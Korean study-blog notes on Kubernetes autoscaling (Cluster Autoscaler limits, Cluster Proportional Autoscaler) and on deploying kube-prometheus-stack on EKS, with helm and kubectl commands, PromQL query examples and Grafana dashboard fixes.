kubectl delete -f nginx.yaml

# size 수정 
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 3
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

# Cluster Autoscaler 삭제
kubectl delete -f cluster-autoscaler-autodiscover.yaml

CA 문제점

하나의 자원에 대해 두군데 (AWS ASG vs AWS EKS)에서 각자의 방식으로 관리하며 때문에 관리 정보가 서로 동기화되지 않아 다양한 문제가 발생하게 됩니다.
- ASG에만 의존하고 노드 생성/삭제 등에 직접 관여하지 않습니다.
- EKS에서 노드를 삭제해도 인스턴스는 삭제가 되지 않습니.
- 노드가 축소될 때 특정 노드만 축소되도록 설정하기 매우 어렵습니다.
  - pod이 적은 노드 먼저 축소, 이미 드레인된 노드 먼저 축소
- 특정 노드를 삭제하면서 동시에 노드 개수를 줄이기 어렵습니다.
  - 줄일 때 삭제 정책 옵션이 다양하지 않습니다.
  - 정책 미지원 시 삭제 방식(예시) : 100대 중 미삭제 EC2 보호 설정 후 삭제 될 EC2의 파드를 이주 후 scaling 조절로 삭제 후 원복
- 폴링 방식이기에 너무 자주 확장 여유를 확인하면 API 제한에 도달할 수 있습니다.
- 스케일링 속도가 매우 느립니다.
- CA는 쿠버네티스 클러스터 자체의 오토 스케일링을 의미하며 수요에 따라 워커 노드를 자동으로 추가하는 기능입니다.
- 클러스터 전체나 각 노드의 부하 평균이 높아졌을 때 확장하는 것으로 보이지만 이는 함정입니다.
- Pending 상태의 파드가 생기는 타이밍에 처음으로 Cluster Autoscaler가 동작합니다.
  - Request와 Limits를 적절하게 설정하지 않은 상태에서는 실제 노드의 부하 평균이 낮은 상황에서도 스케일 아웃이 되거나, 부하 평균이 높은 상황임에도 스케일 아웃이 되지 않는 문제가 발생할 수 있습니다.
  - 기본적으로 리소스에 의한 스케줄링은 Requests(최소)를 기준으로 이루어집니다. 다시 말해 Requests를 초과하여 할당한 경우에는 최소 리소스 요청만으로 리소스가 꽉 차 버려서 신규 노드를 추가해야만 합니다. 이때 실제 컨테이너 프로세스가 사용하는 리소스 사용량은 고려되지 않습니다.
  - 반대로 Request를 낮게 설정한 상태에서 Limits과 차이가 나는 상황을 생각해보면 각 컨테이너는 Limits로 할당된 리소스를 최대로 사용합니다. 그래서 실제 리소스 사용량이 높아졌더라도 Requests합계로 보면 아직 스케줄링이 가능하기 때문에 클러스터가 스케일 아웃하지 않는 상황이 발생하게 됩니다.
  - 여기서는 CPU 리소스 할당을 예로 설명했지만 메모리의 경우도 마찬가지입니다.

CPA - Cluster Proportional Autoscaler

노드 수 증가에 비례하여 성능 처리가 필요한 애플리케이션(컨테이너/파드)를 수평으로 자동 확장하는 오토 스케일러입니다. (예: coredns)

CPA를 설치하고 테스트할 샘플 nginx 파드 배포와 함께 CPA 규칙을 설정합니다. nodesToReplicas에 노드 개수에 따라 파드의 개수를 지정하는 규칙을 입력하고 helm 차트를 업그레이드 합니다.

helm repo add cluster-proportional-autoscaler https://kubernetes-sigs.github.io/cluster-proportional-autoscaler

# CPA규칙을 설정하고 helm차트를 릴리즈 필요
helm upgrade --install cluster-proportional-autoscaler cluster-proportional-autoscaler/cluster-proportional-autoscaler

# nginx 디플로이먼트 배포
cat <<EOT > cpa-nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:latest
        resources:
          limits:
            cpu: "100m"
            memory: "64Mi"
          requests:
            cpu: "100m"
            memory: "64Mi"
        ports:
        - containerPort: 80
EOT
kubectl apply -f cpa-nginx.yaml

# CPA 규칙 설정
cat <<EOF > cpa-values.yaml
config:
  ladder:
    nodesToReplicas:
      - [1, 1]
      - [2, 2]
      - [3, 3]
      - [4, 3]
      - [5, 5]
options:
  namespace: default
  target: "deployment/nginx-deployment"
EOF
kubectl describe cm cluster-proportional-autoscaler

# helm 업그레이드
helm upgrade --install cluster-proportional-autoscaler -f cpa-values.yaml cluster-proportional-autoscaler/cluster-proportional-autoscaler

노드를 5개로 증가시켜보면 CPA 규칙에 따라 해당 파드가 5개로 늘어나는 것을 확인할 수 있습니다.

# 노드 5개로 증가
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].AutoScalingGroupName" --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 5 --desired-capacity 5 --max-size 5
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

반대로 노드의 개수를 축소하게 되면 CPA 규칙에 따라 해당 파드가 4개로 줄어드는 것도 확인할 수 있습니다.

# 노드 4개로 축소
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 4 --desired-capacity 4 --max-size 4
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

실습 후 모든 자원을 삭제합니다.

helm uninstall cluster-proportional-autoscaler && kubectl delete -f cpa-nginx.yaml

[AEWS] Prometheus & Grafana

imxsuu — Tue, 26 Mar 2024 18:01:11 +0900

Prometheus-Stack

출처 :https://prometheus.io/docs/introduction/overview/

the main Prometheus server which scrapes and stores time series data
client libraries for instrumenting application code
a push gateway for supporting short-lived jobs
special-purpose exporters for services like HAProxy, StatsD, Graphite, etc.
an alertmanager to handle alerts
various support tools

Prometheus-Stack 설치

kube-prometheus-stack은 문서 및 스크립트와 결합된 k8s 매니페스트, Grafana 대시보드 및 Prometheus 규칙을 수집하고 Prometheus Operator를 사용하여 Prometheus에서 운영하기 쉬운 end-to-end k8s 클러스터 모니터링을 제공합니다.
[출처 : ChatGPT]

Prometheus-Stack은 모니터링에 필요한 여러 요소를 단일 차트(스택)으로 제공합니다. 이를 Helm 방식으로 배포해 봅니다. 스토리지클래스는 EBS CSI Driver에 해당하는 gp3를 사용하며 프로메테우스를 접근할 때에는 인그레스로 접근할 것이므로 인그레스 도메인을 설정해주었으며 프로메테우스와 그라파나의 alb 이름과 그룹 이름을 동일하게 설정하였습니다.

# 모니터링
kubectl create ns monitoring
watch kubectl get pod,pvc,svc,ingress -n monitoring

# 사용 리전의 인증서 ARN 확인 : 정상 상태 확인(만료 상태면 에러 발생!)
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성
cat <<EOT > monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"
    storageSpec:
      volumeClaimTemplate:
        spec:
          storageClassName: gp3
          accessModes: ["ReadWriteOnce"]
          resources:
            requests:
              storage: 30Gi

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

  persistence:
    enabled: true
    type: sts
    storageClassName: "gp3"
    accessModes:
      - ReadWriteOnce
    size: 20Gi

defaultRules:
  create: false
kubeControllerManager:
  enabled: false
kubeEtcd:
  enabled: false
kubeScheduler:
  enabled: false
alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.1.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# 확인
## alertmanager-0 : 사전에 정의한 정책 기반(예: 노드 다운, 파드 Pending 등)으로 시스템 경고 메시지를 생성 후 경보 채널(슬랙 등)로 전송
## grafana : 프로메테우스는 메트릭 정보를 저장하는 용도로 사용하며, 그라파나로 시각화 처리
## prometheus-0 : 모니터링 대상이 되는 파드는 ‘exporter’라는 별도의 사이드카 형식의 파드에서 모니터링 메트릭을 노출, pull 방식으로 가져와 내부의 시계열 데이터베이스에 저장
## node-exporter : 노드익스포터는 물리 노드에 대한 자원 사용량(네트워크, 스토리지 등 전체) 정보를 메트릭 형태로 변경하여 노출
## operator : 시스템 경고 메시지 정책(prometheus rule), 애플리케이션 모니터링 대상 추가 등의 작업을 편리하게 할수 있게 CRD 지원
## kube-state-metrics : 쿠버네티스의 클러스터의 상태(kube-state)를 메트릭으로 변환하는 파드
helm list -n monitoring
kubectl get pod,svc,ingress,pvc -n monitoring
kubectl get-all -n monitoring
kubectl get prometheus,servicemonitors -n monitoring
kubectl get crd | grep monitoring
kubectl df-pv

AWS ELB(ALB)의 개수를 확인해보면 myeks-ingress-alb 1개인데 어떻게 여러 개의 도메인을 처리할 수 있는걸까요? 이는 리스너 규칙과 대상 그룹의 설정에 따라 이루어지는데, 규칙 1개에 대상 그룹 1개가 맵핑되어 있는 모습을 확인할 수 있습니다. 대상은 각 파드의 IP입니다.

리스너 규칙에서 AND 조건을 통해 조건에 해당하는 도메인 입력 시 해당 대상 그룹으로 전달되게 되며 대상 그룹은 해당 대상을 찾습니다. 따라서 하나의 인그레스로도 여러 도메인 접근이 가능한 것입니다.

AWS CNI Metrics 수집을 위한 사전 설정

Grafana에서 CNI 메트릭을 수집하기 위해 PodMonitor를 미리 배포해 둡니다. 해당 PodMonitor는 k8s-app: aws-node 레이블을 가진 파드들의 메트릭을 /metrics 경로에 수집합니다.

# PodMonitor 배포
cat <<EOF | kubectl create -f -
apiVersion: monitoring.coreos.com/v1
kind: PodMonitor
metadata:
  name: aws-cni-metrics
  namespace: kube-system
spec:
  jobLabel: k8s-app
  namespaceSelector:
    matchNames:
    - kube-system
  podMetricsEndpoints:
  - interval: 30s
    path: /metrics
    port: metrics
  selector:
    matchLabels:
      k8s-app: aws-node
EOF

# PodMonitor 확인
kubectl get podmonitor -n kube-system
kubectl get podmonitor -n kube-system aws-cni-metrics -o yaml | kubectl neat | yh

# metrics url 접속 확인
curl -s $N1:61678/metrics | grep '^awscni'

프로메테우스 기본 사용

모니터링 대상이 되는 서비스는 일반적으로 자체 웹 서버의 /metrics 엔드포인트 경로에 다양한 메트릭 정보를 노출
이후 프로메테우스는 해당 경로에 http get 방식으로 메트릭 정보를 가져와 TSDB 형식으로 저장

# 프로메테우스가 각 서비스의 9100 접속하여 메트릭 정보를 수집
kubectl get node -owide
kubectl get svc,ep -n monitoring kube-prometheus-stack-prometheus-node-exporter

# 노드의 9100번의 /metrics 접속 시 다양한 메트릭 정보를 확인할수 있음 : 마스터 이외에 워커노드도 확인 가능
ssh ec2-user@$N1 curl -s localhost:9100/metrics

# ingress 확인
kubectl get ingress -n monitoring kube-prometheus-stack-prometheus
kubectl describe ingress -n monitoring kube-prometheus-stack-prometheus

# 프로메테우스 ingress 도메인으로 웹 접속
echo -e "Prometheus Web URL = https://prometheus.$MyDomain"

경고(Alert) : 사전에 정의한 시스템 경고 정책(Prometheus Rules)에 대한 상황
그래프(Graph) : 프로메테우스 자체 검색 언어 PromQL을 이용하여 메트릭 정보를 조회 -> 단순한 그래프 형태 조회
상태(Status) : 경고 메시지 정책(Rules), 모니터링 대상(Targets) 등 다양한 프로메테우스 설정 내역을 확인 > 버전(2.42.0)
도움말(Help)
쿼리 입력 옵션
- Use local time : 출력 시간을 로컬 타임으로 변경
- Enable query history : PromQL 쿼리 히스토리 활성화
- Enable autocomplete : 자동 완성 기능 활성화
- Enable highlighting : 하이라이팅 기능 활성화
- Enable linter : 린터(소스 코드를 분석하여 프로그램 오류, 버그, 스타일 오류, 의심스러운 구조체에 flag를 달아놓기 위한 도구) 기능 활성화

메트릭을 Graph로 조회 : Graph - 아래 PromQL 쿼리(전체 클러스터 노드의 CPU 사용량 합계)입력 후 조회

1- avg(rate(node_cpu_seconds_total{mode="idle"}[1m]))

프로메테우스 설정(Configuration) 확인 : Status → Runtime & Build Information 클릭
- Storage retention : 5d or 10GiB → 메트릭 저장 기간이 5일 경과 혹은 10GiB 이상 시 오래된 것부터 삭제

프로메테우스 설정(Configuration) 확인 : Status → Configuration ⇒ “node-exporter” 검색
- job name 을 기준으로 scraping

global:
  scrape_interval: 15s     # 메트릭 가져오는(scrape) 주기
  scrape_timeout: 10s      # 메트릭 가져오는(scrape) 타임아웃
  evaluation_interval: 15s # alert 보낼지 말지 판단하는 주기
...
- job_name: serviceMonitor/monitoring/kube-prometheus-stack-prometheus-node-exporter/0
  scrape_interval: 30s
  scrape_timeout: 10s
  metrics_path: /metrics
  scheme: http
...
kubernetes_sd_configs:    # 서비스 디스커버리(SD) 방식을 이용하고, 파드의 엔드포인트 List 자동 반영
  - role: endpoints
    kubeconfig_file: ""
    follow_redirects: true
    enable_http2: true
    namespaces:
      own_namespace: false
      names:
      - monitoring        # 서비스 엔드포인트가 속한 네임 스페이스 이름을 지정, 서비스 네임스페이스가 속한 포트 번호를 구분하여 메트릭 정보를 가져옴

프로메테우스 쿼리(PromQL)

node-exporter

Node Exporter는 개별 호스트의 CPU 사용량, 메모리 소비량, 디스크 I/O, 네트워크 통계 등 다양한 메트릭을 노출합니다. 이러한 메트릭은 프로메테우스에 의해 수집되어 모니터링, 경고 및 분석에 사용됩니다. Node Exporter는 호스트에서 실행되는 데몬으로 작동합니다. 시스템 수준의 메트릭을 수집하고 이를 프로메테우스 형식으로 HTTP를 통해 노출합니다. 그런 다음 프로메테우스가 이러한 엔드포인트를 스크랩하여 메트릭을 수집하여 저장하고 분석합니다.
[출처 : ChatGPT]

출처 :https://www.opsramp.com/guides/prometheus-monitoring/prometheus-node-exporter/

Prometheus-Stack 배포 시 Helm 파라미터에 node-exporter에 관한 내용이 있어 이미 파드로 배포되어 있는 상태입니다.

# Table 아래 쿼리 입력 후 Execute 클릭 -> Graph 확인
## 출력되는 메트릭 정보는 node-exporter 를 통해서 노드에서 수집된 정보
node_memory_Active_bytes

# 특정 노드(인스턴스) 필터링 : 아래 IP는 출력되는 자신의 인스턴스 PrivateIP 입력 후 Execute 클릭 -> Graph 확인
node_memory_Active_bytes{instance="192.168.1.105:9100"}

kube-state-metrics

kube-state-metrics는 Kubernetes API 서버를 모니터링하고 Kubernetes 오브젝트의 현재 상태에 대한 정보를 메트릭 형태로 수집합니다. 이러한 메트릭은 Prometheus의 스크랩 엔드포인트로 노출되어 Prometheus 서버가 이를 수집하고 저장합니다. 그런 다음 PromQL 쿼리를 사용하여 이러한 메트릭을 조회하고 시각화할 수 있습니다. kube-state-metrics를 사용하면 Kubernetes 클러스터의 상태 정보에 대한 풍부한 메트릭을 Prometheus에 제공하여 Kubernetes 환경을 모니터링하고 문제를 해결하는 데 도움이 됩니다.
[출처 : ChatGPT]

출처 :https://medium.com/@seifeddinerajhi/monitoring-kubernetes-clusters-with-kube-state-metrics-2b9e73a67895

Prometheus-Stack 배포 시 Helm 파라미터에 kube-state-metrics에 관한 내용이 있어 이미 파드로 배포되어 있는 상태입니다.

# replicas's number
kube_deployment_status_replicas
kube_deployment_status_replicas_available
kube_deployment_status_replicas_available{deployment="coredns"}

# scale out
kubectl scale deployment -n kube-system coredns --replicas 3

# 확인
kube_deployment_status_replicas_available{deployment="coredns"}

kube-proxy

node-exporter와 kube-state-metrics 모두 프로메테우스에 대상 타겟으로 지정되어 있어 메트릭 조회가 가능한 것입니다. 따라서 kube-proxy나 대상 타켓으로 등록되어 있는 모든 모듈들은 프로메테우스에서 메트릭을 조회할 수 있습니다.

kubeproxy_sync_proxy_rules_iptables_total
kubeproxy_sync_proxy_rules_iptables_total{table="filter"}
kubeproxy_sync_proxy_rules_iptables_total{table="nat"}
kubeproxy_sync_proxy_rules_iptables_total{table="nat", instance="192.168.1.188:10249"}

application

애플리케이션의 메트릭들을 수집하고 싶을 때 파드 모니터보다는 서비스 모니터를 주로 사용하게 됩니다. 파드 모니터는 개별 파드를 바라보지만 파드가 동적으로 늘어나거나 줄어들어도 서비스 모니터는 서비스의 엔드포인트를 바라보기 때문에 파드 모니터보다 조금 더 상위의 개념으로 보다 편리하게 사용됩니다.

출처 :https://containerjournal.com/topics/container-management/cluster-monitoring-with-prometheus-operator/

애플리케이션 로깅을 확인하기 위해 NGINX 웹서버를 배포해서 확인해 봅니다. NGINX를 helm으로 설치 시 Prometheus Exporter 옵션을 설정하면 자동으로 프로메테우스 모니터링에 등록합니다. 또는 프로메테우스 설정에서 NGINX 모니터링 관련 내용을 서비스 모니터 CRD로 추가하는 것도 가능합니다. 기존 애플리케이션 파드에 프로메테우스 모니터링을 추가하려면 사이드카 방식을 사용하여 기존 파드에 Exporter 컨테이너가 추가되게 됩니다.

# 모니터링
watch -d "kubectl get pod; echo; kubectl get servicemonitors -n monitoring"

# 파라미터 파일 생성 : 서비스 모니터 방식으로 nginx 모니터링 대상을 등록하고, export 는 9113 포트 사용
cat <<EOT > ~/nginx_metric-values.yaml
metrics:
  enabled: true

  service:
    port: 9113

  serviceMonitor:
    enabled: true
    namespace: monitoring
    interval: 10s
EOT

# 배포
helm upgrade nginx bitnami/nginx --reuse-values -f nginx_metric-values.yaml

# 확인
kubectl get pod,svc,ep
kubectl get servicemonitor -n monitoring nginx
kubectl get servicemonitor -n monitoring nginx -o json | jq

# 메트릭 확인 >> 프로메테우스에서 Target 확인
NGINXIP=$(kubectl get pod -l app.kubernetes.io/instance=nginx -o jsonpath={.items[0].status.podIP})
curl -s http://$NGINXIP:9113/metrics # nginx_connections_active Y 값 확인해보기
curl -s http://$NGINXIP:9113/metrics | grep ^nginx_connections_active

# nginx 파드내에 컨테이너 갯수 확인
kubectl get pod -l app.kubernetes.io/instance=nginx
kubectl describe pod -l app.kubernetes.io/instance=nginx

# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done

서비스 모니터 생성 후 3분 정도 후에 프로메테우스 타겟에 nginx 서비스 모니터가 추가된 것을 확인할 수 있습니다.

프로메테우스 Configuration에도 동적으로 nginx를 위한 job이 생성된 것을 확인할 수 있습니다.

이처럼 설정이 자동으로 반영되는 원리는 Prometheus-Stack 설치 시 config-reloader라는 컨테이너가 함께 설치되어 바뀐 설정이 프로메테우스 서버 Configuration에 적용되도록 해줍니다.

프로메테우스에서 nginx와 관련된 메트릭을 수집하는 것을 확인할 수 있으며 nginx를 스케일아웃하면 파드의 개수가 늘어남에 따라 늘어난 메트릭들도 함께 조회할 수 있습니다.

# nginx scale out : Targets 확인
kubectl scale deployment nginx --replicas 2

# 쿼리 Table -> Graph
nginx_up
nginx_http_requests_total
nginx_connections_active

PromQL

프로메테우스 메트릭 종류 (4종) : Counter, Gauge, Histogram, Summary - Link Blog
- 게이지 Gauge : 특정 시점의 값을 표현하기 위해서 사용하는 메트릭 타입, CPU 온도나 메모리 사용량에 대한 현재 시점 값
- 카운터 Counter : 누적된 값을 표현하기 위해 사용하는 메트릭 타입, 증가 시 구간 별로 변화(추세) 확인, 계속 증가 → 함수 등으로 활용
- 서머리 Summary : 구간 내에 있는 메트릭 값의 빈도, 중앙값 등 통계적 메트릭
- 히스토그램 Histogram : 사전에 미리 정의한 구간 내에 있는 메트릭 값의 빈도를 측정 → 함수로 측정 포맷을 변경
PromQL Query - Docs Operator Example
- Label Matchers : = , ! = , =~ 정규표현식

# 예시
node_memory_Active_bytes
node_memory_Active_bytes{instance="192.168.1.188:9100"}
node_memory_Active_bytes{instance!="192.168.1.188:9100"}

# 정규표현식
node_memory_Active_bytes{instance=~"192.168.+"}
node_memory_Active_bytes{instance=~"192.168.1.+"}

# 다수 대상
node_memory_Active_bytes{instance=~"192.168.1.188:9100|192.168.2.170:9100"}
node_memory_Active_bytes{instance!~"192.168.1.188:9100|192.168.2.170:9100"}

# 여러 조건 AND
kube_deployment_status_replicas_available{namespace="kube-system"}
kube_deployment_status_replicas_available{namespace="kube-system", deployment="coredns"}

Binary Operators 이진 연산자 - Link
- 산술 이진 연산자 : + - * / * ^
- 비교 이진 연산자 : = = ! = > < > = < =
- 논리/집합 이진 연산자 : and 교집합 , or 합집합 , unless 차집합

# 산술 이진 연산자 : + - * / * ^
node_memory_Active_bytes
node_memory_Active_bytes/1024
node_memory_Active_bytes/1024/1024

# 비교 이진 연산자 : = =  ! = > < > = < =
nginx_http_requests_total
nginx_http_requests_total > 100
nginx_http_requests_total > 10000

# 논리/집합 이진 연산자 : and 교집합 , or 합집합 , unless 차집합
kube_pod_status_ready
kube_pod_container_resource_requests

kube_pod_status_ready == 1
kube_pod_container_resource_requests > 1

kube_pod_status_ready == 1 or kube_pod_container_resource_requests > 1
kube_pod_status_ready == 1 and kube_pod_container_resource_requests > 1

Aggregation Operators 집계 연산자 - Link
- sum (calculate sum over dimensions) : 조회된 값들을 모두 더함
- min (select minimum over dimensions) : 조회된 값에서 가장 작은 값을 선택
- max (select maximum over dimensions) : 조회된 값에서 가장 큰 값을 선택
- avg (calculate the average over dimensions) : 조회된 값들의 평균 값을 계산
- group (all values in the resulting vector are 1) : 조회된 값을 모두 ‘1’로 바꿔서 출력
- stddev (calculate population standard deviation over dimensions) : 조회된 값들의 모 표준 편차를 계산
- stdvar (calculate population standard variance over dimensions) : 조회된 값들의 모 표준 분산을 계산
- count (count number of elements in the vector) : 조회된 값들의 갯수를 출력 / 인스턴스 벡터에서만 사용 가능
- count_values (count number of elements with the same value) : 같은 값을 가지는 요소의 갯수를 출력
- bottomk (smallest k elements by sample value) : 조회된 값들 중에 가장 작은 값들 k 개 출력
- topk (largest k elements by sample value) : 조회된 값들 중에 가장 큰 값들 k 개 출력
- quantile (calculate φ-quantile (0 ≤ φ ≤ 1) over dimensions) : 조회된 값들을 사분위로 나눠서 (0 < $ < 1)로 구성하고, $에 해당 하는 요소들을 출력

#
node_memory_Active_bytes

# 출력 값 중 Top 3
topk(3, node_memory_Active_bytes)

# 출력 값 중 하위 3
bottomk(3, node_memory_Active_bytes)
bottomk(3, node_memory_Active_bytes>0)

# node 그룹별: by
node_cpu_seconds_total
node_cpu_seconds_total{mode="user"}
node_cpu_seconds_total{mode="system"}

avg(node_cpu_seconds_total)
avg(node_cpu_seconds_total) by (instance)
avg(node_cpu_seconds_total{mode="user"}) by (instance)
avg(node_cpu_seconds_total{mode="system"}) by (instance)

#
nginx_http_requests_total
sum(nginx_http_requests_total)
sum(nginx_http_requests_total) by (instance)

# 특정 내용 제외하고 출력 : without
nginx_http_requests_total
sum(nginx_http_requests_total) without (instance)
sum(nginx_http_requests_total) without (instance,container,endpoint,job,namespace)

Time series selectors : Instant/Range vector selectors, Time Durations, Offset modifier, @ modifier - Link
- 인스턴스 벡터 Instant Vector : 시점에 대한 메트릭 값만을 가지는 데이터 타입
- 레인지 벡터 Range Vector : 시간의 구간을 가지는 데이터 타입
- 시간 단위 : ms, s, m(주로 분 사용), h, d, w, y

# 시점 데이터
node_cpu_seconds_total

# 15초 마다 수집하니 아래는 지난 4회차/8회차의 값 출력
node_cpu_seconds_total[1m]
node_cpu_seconds_total[2m]

활용

# 서비스 정보 >> 네임스페이스별 >> cluster_ip 별
kube_service_info
count(kube_service_info)
count(kube_service_info) by (namespace)
count(kube_service_info) by (cluster_ip)

# 컨테이너가 사용 메모리 -> 파드별
container_memory_working_set_bytes
sum(container_memory_working_set_bytes)
sum(container_memory_working_set_bytes) by (pod)
topk(5,sum(container_memory_working_set_bytes) by (pod))
topk(5,sum(container_memory_working_set_bytes) by (pod))/1024/1024

Grafana

Grafana는 오픈 소스 데이터 시각화 및 모니터링 도구입니다. 이 도구를 사용하면 여러 다양한 데이터 소스에서 데이터를 가져와 그래픽으로 표시하고 모니터링할 수 있습니다. Grafana는 사용자가 대시보드를 만들고 원하는 방식으로 데이터를 시각화할 수 있도록 다양한 그래프 및 차트를 제공합니다. 주요 기능으로는 다양한 데이터베이스 및 시스템과의 통합, 다양한 플러그인 및 확장 기능, 그래프 및 패널 커스터마이징, 경고 및 알림 설정 등이 있습니다. Grafana는 서버의 상태, 애플리케이션 지표, 센서 데이터 등 다양한 종류의 데이터를 시각적으로 모니터링하는 데 널리 사용됩니다.
[출처 : ChatGPT]

그라파나는 시각화 솔루션으로 데이터 자체를 저장하지는 않습니다. 현재 실습 환경에서는 데이터 소스를 프로메테우스로 사용합니다.

# 그라파나 버전 확인
kubectl exec -it -n monitoring pod/kube-prometheus-stack-grafana-0 -- grafana cli --version
grafana cli version 10.4.0

# ingress 확인
kubectl get ingress -n monitoring kube-prometheus-stack-grafana
kubectl describe ingress -n monitoring kube-prometheus-stack-grafana

# ingress 도메인으로 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"

우측 상단 : admin 사용자의 개인 설정
기본 대시보드 확인
1. Starred : 즐겨찾기 대시보드
2. Dashboards : 대시보드 전체 목록 확인
3. Explore : 쿼리 언어 PromQL를 이용해 메트릭 정보를 그래프 형태로 탐색
4. Alerting : 경고, 에러 발생 시 사용자에게 경고를 전달
5. Connections : 설정, 예) 데이터 소스 설정 등
6. Administaration : 사용자, 조직, 플러그인 등 설정

Connections → Data sources : Prometheus-Stack으로 설치한 경우 프로메테우스가 자동으로 데이터 소스에 추가됩니다.

# 서비스 주소 확인
kubectl get svc,ep -n monitoring kube-prometheus-stack-prometheus

해당 데이터 소스로의 접속을 확인해 봅니다. 테스트용 파드를 배포해 데이터 소스의 URL로 접근해보면 동일한 이름을 가진 서비스의 IP 주소를 확인할 수 있습니다.

# 테스트용 파드 배포
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: netshoot-pod
spec:
  containers:
  - name: netshoot-pod
    image: nicolaka/netshoot
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF
kubectl get pod netshoot-pod

# 접속 확인
kubectl exec -it netshoot-pod -- nslookup kube-prometheus-stack-prometheus.monitoring
kubectl exec -it netshoot-pod -- curl -s kube-prometheus-stack-prometheus.monitoring:9090/graph -v ; echo

# 삭제
kubectl delete pod netshoot-pod

공식 대시보드 가져오기

추천 대시보드를 가져와보겠습니다.

Kubernetes / Views / Global : Dashboard → New → Import → 15757 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭

1 Kubernetes All-in-one Cluster Monitoring KR : Dashboard → New → Import → 17900 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭

불러온 대시보드에서는 CPU 점유율, 메모리 점유율, 디스크 사용률(%)의 데이터가 수집되지 않고 있는데 출력되도록 고쳐봅니다.

현재의 CPU 점유율의 PromQL의 조건들을 하나씩 살펴보면서 데이터가 나오는지 확인해보아야 합니다. 메트릭이 잘 조회되다가 node로 그룹핑을 했을 때 조회되지 않는 것으로 미뤄보아 노드로 그룹핑하는 방식이 적용되지 않는 것으로 추측할 수 있습니다. 해당 쿼리는 온프레미스에서 적용이 가능하지만 AWS 인스턴스를 사용할 때에는 node가 아닌 instance로 그룹핑을 해야 정상적으로 조회할 수 있습니다.

node_cpu_seconds_total
node_cpu_seconds_total{mode!~"guest.*|idle|iowait"}
avg(node_cpu_seconds_total{mode!~"guest.*|idle|iowait"}) by (node)
avg(node_cpu_seconds_total{mode!~"guest.*|idle|iowait"}) by (instance)

# 수정
sum by (instance) (irate(node_cpu_seconds_total{mode!~"guest.*|idle|iowait", instance="$instance"}[5m]))

메모리 점유율과 디스크 사용률도 마찬가지로 node를 instance로 변경하면 모두 정상적으로 출력되는 모습을 확인할 수 있습니다.

# 수정 : 메모리 점유율
(node_memory_MemTotal_bytes{instance="$instance"}-node_memory_MemAvailable_bytes{instance="$instance"})/node_memory_MemTotal_bytes{instance="$instance"}

# 수정 : 디스크 사용률
sum(node_filesystem_size_bytes{instance="$instance"} - node_filesystem_avail_bytes{instance="$instance"}) by (node) / sum(node_filesystem_size_bytes{instance="$instance"}) by (node)

Grafana Panel

Graphs & charts
- Time series is the default and main Graph visualization.
- State timeline for state changes over time.
- Status history for periodic state over time.
- Bar chart shows any categorical data.
- Histogram calculates and shows value distribution in a bar chart.
- Heatmap visualizes data in two dimensions, used typically for the magnitude of a phenomenon.
- Pie chart is typically used where proportionality is important.
